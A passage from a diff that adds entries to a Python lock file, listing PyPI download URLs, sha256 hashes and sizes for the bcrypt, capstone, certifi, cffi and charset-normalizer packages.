+ { url = "https://files.pythonhosted.org/packages/37/1f/c55ed8dbe994b1d088309e366749633c9eb90d139af3c0a50c102ba68a1a/bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:59e1aa0e2cd871b08ca146ed08445038f42ff75968c7ae50d2fdd7860ade2180", size = 277451, upload-time = "2025-02-28T01:22:40.787Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/1c/794feb2ecf22fe73dcfb697ea7057f632061faceb7dcf0f155f3443b4d79/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:0042b2e342e9ae3d2ed22727c1262f76cc4f345683b5c1715f0250cf4277294f", size = 272792, upload-time = "2025-02-28T01:22:43.144Z" },
+ { url = "https://files.pythonhosted.org/packages/13/b7/0b289506a3f3598c2ae2bdfa0ea66969812ed200264e3f61df77753eee6d/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74a8d21a09f5e025a9a23e7c0fd2c7fe8e7503e4d356c0a2c1486ba010619f09", size = 289752, upload-time = "2025-02-28T01:22:45.56Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/24/d0fb023788afe9e83cc118895a9f6c57e1044e7e1672f045e46733421fe6/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:0142b2cb84a009f8452c8c5a33ace5e3dfec4159e7735f5afe9a4d50a8ea722d", size = 277762, upload-time = "2025-02-28T01:22:47.023Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/38/cde58089492e55ac4ef6c49fea7027600c84fd23f7520c62118c03b4625e/bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:12fa6ce40cde3f0b899729dbd7d5e8811cb892d31b6f7d0334a1f37748b789fd", size = 272384, upload-time = "2025-02-28T01:22:49.221Z" },
+ { url = "https://files.pythonhosted.org/packages/de/6a/d5026520843490cfc8135d03012a413e4532a400e471e6188b01b2de853f/bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:5bd3cca1f2aa5dbcf39e2aa13dd094ea181f48959e1071265de49cc2b82525af", size = 277329, upload-time = "2025-02-28T01:22:51.603Z" },
+ { url = "https://files.pythonhosted.org/packages/b3/a3/4fc5255e60486466c389e28c12579d2829b28a527360e9430b4041df4cf9/bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:335a420cfd63fc5bc27308e929bee231c15c85cc4c496610ffb17923abf7f231", size = 305241, upload-time = "2025-02-28T01:22:53.283Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/15/2b37bc07d6ce27cc94e5b10fd5058900eb8fb11642300e932c8c82e25c4a/bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:0e30e5e67aed0187a1764911af023043b4542e70a7461ad20e837e94d23e1d6c", size = 309617, upload-time = "2025-02-28T01:22:55.461Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/1f/99f65edb09e6c935232ba0430c8c13bb98cb3194b6d636e61d93fe60ac59/bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:3b8d62290ebefd49ee0b3ce7500f5dbdcf13b81402c05f6dafab9a1e1b27212f", size = 335751, upload-time = "2025-02-28T01:22:57.81Z" },
+ { url = "https://files.pythonhosted.org/packages/00/1b/b324030c706711c99769988fcb694b3cb23f247ad39a7823a78e361bdbb8/bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2ef6630e0ec01376f59a006dc72918b1bf436c3b571b80fa1968d775fa02fe7d", size = 355965, upload-time = "2025-02-28T01:22:59.181Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/dd/20372a0579dd915dfc3b1cd4943b3bca431866fcb1dfdfd7518c3caddea6/bcrypt-4.3.0-cp313-cp313t-win32.whl", hash = "sha256:7a4be4cbf241afee43f1c3969b9103a41b40bcb3a3f467ab19f891d9bc4642e4", size = 155316, upload-time = "2025-02-28T01:23:00.763Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/52/45d969fcff6b5577c2bf17098dc36269b4c02197d551371c023130c0f890/bcrypt-4.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5c1949bf259a388863ced887c7861da1df681cb2388645766c89fdfd9004c669", size = 147752, upload-time = "2025-02-28T01:23:02.908Z" },
+ { url = "https://files.pythonhosted.org/packages/11/22/5ada0b9af72b60cbc4c9a399fdde4af0feaa609d27eb0adc61607997a3fa/bcrypt-4.3.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:f81b0ed2639568bf14749112298f9e4e2b28853dab50a8b357e31798686a036d", size = 498019, upload-time = "2025-02-28T01:23:05.838Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/8c/252a1edc598dc1ce57905be173328eda073083826955ee3c97c7ff5ba584/bcrypt-4.3.0-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:864f8f19adbe13b7de11ba15d85d4a428c7e2f344bac110f667676a0ff84924b", size = 279174, upload-time = "2025-02-28T01:23:07.274Z" },
+ { url = "https://files.pythonhosted.org/packages/29/5b/4547d5c49b85f0337c13929f2ccbe08b7283069eea3550a457914fc078aa/bcrypt-4.3.0-cp38-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e36506d001e93bffe59754397572f21bb5dc7c83f54454c990c74a468cd589e", size = 283870, upload-time = "2025-02-28T01:23:09.151Z" },
+ { url = "https://files.pythonhosted.org/packages/be/21/7dbaf3fa1745cb63f776bb046e481fbababd7d344c5324eab47f5ca92dd2/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:842d08d75d9fe9fb94b18b071090220697f9f184d4547179b60734846461ed59", size = 279601, upload-time = "2025-02-28T01:23:11.461Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/64/e042fc8262e971347d9230d9abbe70d68b0a549acd8611c83cebd3eaec67/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7c03296b85cb87db865d91da79bf63d5609284fc0cab9472fdd8367bbd830753", size = 297660, upload-time = "2025-02-28T01:23:12.989Z" },
+ { url = "https://files.pythonhosted.org/packages/50/b8/6294eb84a3fef3b67c69b4470fcdd5326676806bf2519cda79331ab3c3a9/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:62f26585e8b219cdc909b6a0069efc5e4267e25d4a3770a364ac58024f62a761", size = 284083, upload-time = "2025-02-28T01:23:14.5Z" },
+ { url = "https://files.pythonhosted.org/packages/62/e6/baff635a4f2c42e8788fe1b1633911c38551ecca9a749d1052d296329da6/bcrypt-4.3.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:beeefe437218a65322fbd0069eb437e7c98137e08f22c4660ac2dc795c31f8bb", size = 279237, upload-time = "2025-02-28T01:23:16.686Z" },
+ { url = "https://files.pythonhosted.org/packages/39/48/46f623f1b0c7dc2e5de0b8af5e6f5ac4cc26408ac33f3d424e5ad8da4a90/bcrypt-4.3.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:97eea7408db3a5bcce4a55d13245ab3fa566e23b4c67cd227062bb49e26c585d", size = 283737, upload-time = "2025-02-28T01:23:18.897Z" },
+ { url = "https://files.pythonhosted.org/packages/49/8b/70671c3ce9c0fca4a6cc3cc6ccbaa7e948875a2e62cbd146e04a4011899c/bcrypt-4.3.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:191354ebfe305e84f344c5964c7cd5f924a3bfc5d405c75ad07f232b6dffb49f", size = 312741, upload-time = "2025-02-28T01:23:21.041Z" },
+ { url = "https://files.pythonhosted.org/packages/27/fb/910d3a1caa2d249b6040a5caf9f9866c52114d51523ac2fb47578a27faee/bcrypt-4.3.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:41261d64150858eeb5ff43c753c4b216991e0ae16614a308a15d909503617732", size = 316472, upload-time = "2025-02-28T01:23:23.183Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/cf/7cf3a05b66ce466cfb575dbbda39718d45a609daa78500f57fa9f36fa3c0/bcrypt-4.3.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:33752b1ba962ee793fa2b6321404bf20011fe45b9afd2a842139de3011898fef", size = 343606, upload-time = "2025-02-28T01:23:25.361Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/b8/e970ecc6d7e355c0d892b7f733480f4aa8509f99b33e71550242cf0b7e63/bcrypt-4.3.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:50e6e80a4bfd23a25f5c05b90167c19030cf9f87930f7cb2eacb99f45d1c3304", size = 362867, upload-time = "2025-02-28T01:23:26.875Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/97/8d3118efd8354c555a3422d544163f40d9f236be5b96c714086463f11699/bcrypt-4.3.0-cp38-abi3-win32.whl", hash = "sha256:67a561c4d9fb9465ec866177e7aebcad08fe23aaf6fbd692a6fab69088abfc51", size = 160589, upload-time = "2025-02-28T01:23:28.381Z" },
+ { url = "https://files.pythonhosted.org/packages/29/07/416f0b99f7f3997c69815365babbc2e8754181a4b1899d921b3c7d5b6f12/bcrypt-4.3.0-cp38-abi3-win_amd64.whl", hash = "sha256:584027857bc2843772114717a7490a37f68da563b3620f78a849bcb54dc11e62", size = 152794, upload-time = "2025-02-28T01:23:30.187Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/c1/3fa0e9e4e0bfd3fd77eb8b52ec198fd6e1fd7e9402052e43f23483f956dd/bcrypt-4.3.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0d3efb1157edebfd9128e4e46e2ac1a64e0c1fe46fb023158a407c7892b0f8c3", size = 498969, upload-time = "2025-02-28T01:23:31.945Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/d4/755ce19b6743394787fbd7dff6bf271b27ee9b5912a97242e3caf125885b/bcrypt-4.3.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08bacc884fd302b611226c01014eca277d48f0a05187666bca23aac0dad6fe24", size = 279158, upload-time = "2025-02-28T01:23:34.161Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/5d/805ef1a749c965c46b28285dfb5cd272a7ed9fa971f970435a5133250182/bcrypt-4.3.0-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6746e6fec103fcd509b96bacdfdaa2fbde9a553245dbada284435173a6f1aef", size = 284285, upload-time = "2025-02-28T01:23:35.765Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/2b/698580547a4a4988e415721b71eb45e80c879f0fb04a62da131f45987b96/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:afe327968aaf13fc143a56a3360cb27d4ad0345e34da12c7290f1b00b8fe9a8b", size = 279583, upload-time = "2025-02-28T01:23:38.021Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/87/62e1e426418204db520f955ffd06f1efd389feca893dad7095bf35612eec/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d9af79d322e735b1fc33404b5765108ae0ff232d4b54666d46730f8ac1a43676", size = 297896, upload-time = "2025-02-28T01:23:39.575Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/c6/8fedca4c2ada1b6e889c52d2943b2f968d3427e5d65f595620ec4c06fa2f/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f1e3ffa1365e8702dc48c8b360fef8d7afeca482809c5e45e653af82ccd088c1", size = 284492, upload-time = "2025-02-28T01:23:40.901Z" },
+ { url = "https://files.pythonhosted.org/packages/4d/4d/c43332dcaaddb7710a8ff5269fcccba97ed3c85987ddaa808db084267b9a/bcrypt-4.3.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:3004df1b323d10021fda07a813fd33e0fd57bef0e9a480bb143877f6cba996fe", size = 279213, upload-time = "2025-02-28T01:23:42.653Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/7f/1e36379e169a7df3a14a1c160a49b7b918600a6008de43ff20d479e6f4b5/bcrypt-4.3.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:531457e5c839d8caea9b589a1bcfe3756b0547d7814e9ce3d437f17da75c32b0", size = 284162, upload-time = "2025-02-28T01:23:43.964Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/0a/644b2731194b0d7646f3210dc4d80c7fee3ecb3a1f791a6e0ae6bb8684e3/bcrypt-4.3.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:17a854d9a7a476a89dcef6c8bd119ad23e0f82557afbd2c442777a16408e614f", size = 312856, upload-time = "2025-02-28T01:23:46.011Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/62/2a871837c0bb6ab0c9a88bf54de0fc021a6a08832d4ea313ed92a669d437/bcrypt-4.3.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6fb1fd3ab08c0cbc6826a2e0447610c6f09e983a281b919ed721ad32236b8b23", size = 316726, upload-time = "2025-02-28T01:23:47.575Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/a1/9898ea3faac0b156d457fd73a3cb9c2855c6fd063e44b8522925cdd8ce46/bcrypt-4.3.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:e965a9c1e9a393b8005031ff52583cedc15b7884fce7deb8b0346388837d6cfe", size = 343664, upload-time = "2025-02-28T01:23:49.059Z" },
+ { url = "https://files.pythonhosted.org/packages/40/f2/71b4ed65ce38982ecdda0ff20c3ad1b15e71949c78b2c053df53629ce940/bcrypt-4.3.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:79e70b8342a33b52b55d93b3a59223a844962bef479f6a0ea318ebbcadf71505", size = 363128, upload-time = "2025-02-28T01:23:50.399Z" },
+ { url = "https://files.pythonhosted.org/packages/11/99/12f6a58eca6dea4be992d6c681b7ec9410a1d9f5cf368c61437e31daa879/bcrypt-4.3.0-cp39-abi3-win32.whl", hash = "sha256:b4d4e57f0a63fd0b358eb765063ff661328f69a04494427265950c71b992a39a", size = 160598, upload-time = "2025-02-28T01:23:51.775Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/cf/45fb5261ece3e6b9817d3d82b2f343a505fd58674a92577923bc500bd1aa/bcrypt-4.3.0-cp39-abi3-win_amd64.whl", hash = "sha256:e53e074b120f2877a35cc6c736b8eb161377caae8925c17688bd46ba56daaa5b", size = 152799, upload-time = "2025-02-28T01:23:53.139Z" },
+]
+
+[[package]]
+name = "capstone"
+version = "5.0.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d5/b0/1f126035a4cbc6f488b97e4bd57a46a28b6ba29ca8b938cbda840601a18a/capstone-5.0.6.tar.gz", hash = "sha256:b11a87d67751b006b9b44428d59c99512e6d6c89cf7dff8cdd92d9065628b5a0", size = 2945704, upload-time = "2025-03-23T16:03:40.795Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/cd/9a/d9c11e090fa03dfc61a03a57ba44c6a07370f4ac5814f2a5804bfd40ee8b/capstone-5.0.6-py3-none-macosx_10_9_universal2.whl", hash = "sha256:0bca16e1c3ca1b928df6103b3889dcb6df7b05392d75a0b7af3508798148b899", size = 2177082, upload-time = "2025-03-23T16:03:27.815Z" },
+ { url = "https://files.pythonhosted.org/packages/66/28/72a0be2325e6ee459f27cdcd835d3eee6fed5136321b5f7be41b41dc8656/capstone-5.0.6-py3-none-macosx_10_9_x86_64.whl", hash = "sha256:539191906a34ad1c573ec12b787b2caf154ea41175db6ded9def00aea8151099", size = 1180215, upload-time = "2025-03-23T16:03:29.409Z" },
+ { url = "https://files.pythonhosted.org/packages/54/93/7b8fb02661d47a2822d5b640df804ef310417144af02e6db3446f174c4b5/capstone-5.0.6-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e0b87b283905e4fc43635ca04cf26f4a5d9e8375852e5464d38938f3a28c207a", size = 1192757, upload-time = "2025-03-23T16:03:30.966Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/a2/d1bdb7260ade8165182979ea16098ef3a37c01316140511a611e549dbfe3/capstone-5.0.6-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa7892f0c89455078c18f07d2d309fb07baa53061b8f9a63db1ea00d41a46726", size = 1458413, upload-time = "2025-03-23T16:03:32.04Z" },
+ { url = "https://files.pythonhosted.org/packages/78/7f/ec0687bbe8f6b128f1d41d90ec7cedfd1aaaa4ecb1ae8d334acc7dad8013/capstone-5.0.6-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0358855773100bb91ae6681fabce7299df83156945ba943f6211061a592c54a6", size = 1481605, upload-time = "2025-03-23T16:03:33.526Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/1d/77bb0f79e1dacdfdcc0679c747d9ca24cc621095e09bdb665e7dd0c580ae/capstone-5.0.6-py3-none-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:667d6466dab1522fa5e9659be5cf1aca83e4fc3da7d15d0e5e6047f71fb46c4a", size = 1480730, upload-time = "2025-03-23T16:03:34.601Z" },
+ { url = "https://files.pythonhosted.org/packages/72/63/07437972f68d0b2ba13e1705a6994404c9c961afbadc342c5b6fcf1de652/capstone-5.0.6-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:45c0e25500dd8d283d3b70f2e10cebfec93ab8bdaf6af9a763a0a999b4705891", size = 1457992, upload-time = "2025-03-23T16:03:35.75Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/53/f371e86493a2ae659b5a493c3cc23122974e83a1f53d3a5638d7bb7ac371/capstone-5.0.6-py3-none-musllinux_1_2_i686.whl", hash = "sha256:22f1f2f118f8fa1d1c5c90bca90e75864d55e16349b3c03aaea0e86b4a45d2a9", size = 1484184, upload-time = "2025-03-23T16:03:37.05Z" },
+ { url = "https://files.pythonhosted.org/packages/df/c3/8b842ae32949c3570581164619c2f69001c6d8da566dc2e490372032b0d6/capstone-5.0.6-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:bc23cf634f51d0e53bdd04ea53ccfff7fc9060dfe58dff1e1b260ce40e5538ff", size = 1485357, upload-time = "2025-03-23T16:03:38.133Z" },
+ { url = "https://files.pythonhosted.org/packages/da/72/ff7894c2fb5716d9a3ce9c27ba34b29d991a11d8442d2ef0fcdc5564ba7e/capstone-5.0.6-py3-none-win_amd64.whl", hash = "sha256:761c3deae00b22ac697081cdae1383bb90659dd0d79387a09cf5bdbb22b17064", size = 1271345, upload-time = "2025-03-23T16:03:39.649Z" },
+]
+
+[[package]]
+name = "certifi"
+version = "2025.6.15"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/73/f7/f14b46d4bcd21092d7d3ccef689615220d8a08fb25e564b65d20738e672e/certifi-2025.6.15.tar.gz", hash = "sha256:d747aa5a8b9bbbb1bb8c22bb13e22bd1f18e9796defa16bab421f7f7a317323b", size = 158753, upload-time = "2025-06-15T02:45:51.329Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/84/ae/320161bd181fc06471eed047ecce67b693fd7515b16d495d8932db763426/certifi-2025.6.15-py3-none-any.whl", hash = "sha256:2e0c7ce7cb5d8f8634ca55d2ba7e6ec2689a2fd6537d8dec1296a477a4910057", size = 157650, upload-time = "2025-06-15T02:45:49.977Z" },
+]
+
+[[package]]
+name = "cffi"
+version = "1.17.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pycparser" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/fc/97/c783634659c2920c3fc70419e3af40972dbaf758daa229a7d6ea6135c90d/cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824", size = 516621, upload-time = "2024-09-04T20:45:21.852Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/5a/84/e94227139ee5fb4d600a7a4927f322e1d4aea6fdc50bd3fca8493caba23f/cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4", size = 183178, upload-time = "2024-09-04T20:44:12.232Z" },
+ { url = "https://files.pythonhosted.org/packages/da/ee/fb72c2b48656111c4ef27f0f91da355e130a923473bf5ee75c5643d00cca/cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c", size = 178840, upload-time = "2024-09-04T20:44:13.739Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/b6/db007700f67d151abadf508cbfd6a1884f57eab90b1bb985c4c8c02b0f28/cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36", size = 454803, upload-time = "2024-09-04T20:44:15.231Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/df/f8d151540d8c200eb1c6fba8cd0dfd40904f1b0682ea705c36e6c2e97ab3/cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5", size = 478850, upload-time = "2024-09-04T20:44:17.188Z" },
+ { url = "https://files.pythonhosted.org/packages/28/c0/b31116332a547fd2677ae5b78a2ef662dfc8023d67f41b2a83f7c2aa78b1/cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff", size = 485729, upload-time = "2024-09-04T20:44:18.688Z" },
+ { url = "https://files.pythonhosted.org/packages/91/2b/9a1ddfa5c7f13cab007a2c9cc295b70fbbda7cb10a286aa6810338e60ea1/cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99", size = 471256, upload-time = "2024-09-04T20:44:20.248Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/d5/da47df7004cb17e4955df6a43d14b3b4ae77737dff8bf7f8f333196717bf/cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93", size = 479424, upload-time = "2024-09-04T20:44:21.673Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/ac/2a28bcf513e93a219c8a4e8e125534f4f6db03e3179ba1c45e949b76212c/cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3", size = 484568, upload-time = "2024-09-04T20:44:23.245Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/38/ca8a4f639065f14ae0f1d9751e70447a261f1a30fa7547a828ae08142465/cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8", size = 488736, upload-time = "2024-09-04T20:44:24.757Z" },
+ { url = "https://files.pythonhosted.org/packages/86/c5/28b2d6f799ec0bdecf44dced2ec5ed43e0eb63097b0f58c293583b406582/cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65", size = 172448, upload-time = "2024-09-04T20:44:26.208Z" },
+ { url = "https://files.pythonhosted.org/packages/50/b9/db34c4755a7bd1cb2d1603ac3863f22bcecbd1ba29e5ee841a4bc510b294/cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903", size = 181976, upload-time = "2024-09-04T20:44:27.578Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/f8/dd6c246b148639254dad4d6803eb6a54e8c85c6e11ec9df2cffa87571dbe/cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e", size = 182989, upload-time = "2024-09-04T20:44:28.956Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/f1/672d303ddf17c24fc83afd712316fda78dc6fce1cd53011b839483e1ecc8/cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2", size = 178802, upload-time = "2024-09-04T20:44:30.289Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/2d/eab2e858a91fdff70533cab61dcff4a1f55ec60425832ddfdc9cd36bc8af/cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3", size = 454792, upload-time = "2024-09-04T20:44:32.01Z" },
+ { url = "https://files.pythonhosted.org/packages/75/b2/fbaec7c4455c604e29388d55599b99ebcc250a60050610fadde58932b7ee/cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683", size = 478893, upload-time = "2024-09-04T20:44:33.606Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/b7/6e4a2162178bf1935c336d4da8a9352cccab4d3a5d7914065490f08c0690/cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5", size = 485810, upload-time = "2024-09-04T20:44:35.191Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/8a/1d0e4a9c26e54746dc08c2c6c037889124d4f59dffd853a659fa545f1b40/cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4", size = 471200, upload-time = "2024-09-04T20:44:36.743Z" },
+ { url = "https://files.pythonhosted.org/packages/26/9f/1aab65a6c0db35f43c4d1b4f580e8df53914310afc10ae0397d29d697af4/cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd", size = 479447, upload-time = "2024-09-04T20:44:38.492Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/e4/fb8b3dd8dc0e98edf1135ff067ae070bb32ef9d509d6cb0f538cd6f7483f/cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed", size = 484358, upload-time = "2024-09-04T20:44:40.046Z" },
+ { url = "https://files.pythonhosted.org/packages/f1/47/d7145bf2dc04684935d57d67dff9d6d795b2ba2796806bb109864be3a151/cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9", size = 488469, upload-time = "2024-09-04T20:44:41.616Z" },
+ { url = "https://files.pythonhosted.org/packages/bf/ee/f94057fa6426481d663b88637a9a10e859e492c73d0384514a17d78ee205/cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d", size = 172475, upload-time = "2024-09-04T20:44:43.733Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/fc/6a8cb64e5f0324877d503c854da15d76c1e50eb722e320b15345c4d0c6de/cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a", size = 182009, upload-time = "2024-09-04T20:44:45.309Z" },
+]
+
+[[package]]
+name = "charset-normalizer"
+version = "3.4.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e4/33/89c2ced2b67d1c2a61c19c6751aa8902d46ce3dacb23600a283619f5a12d/charset_normalizer-3.4.2.tar.gz", hash = "sha256:5baececa9ecba31eff645232d59845c07aa030f0c81ee70184a90d35099a0e63", size = 126367, upload-time = "2025-05-02T08:34:42.01Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d7/a4/37f4d6035c89cac7930395a35cc0f1b872e652eaafb76a6075943754f095/charset_normalizer-3.4.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0c29de6a1a95f24b9a1aa7aefd27d2487263f00dfd55a77719b530788f75cff7", size = 199936, upload-time = "2025-05-02T08:32:33.712Z" },
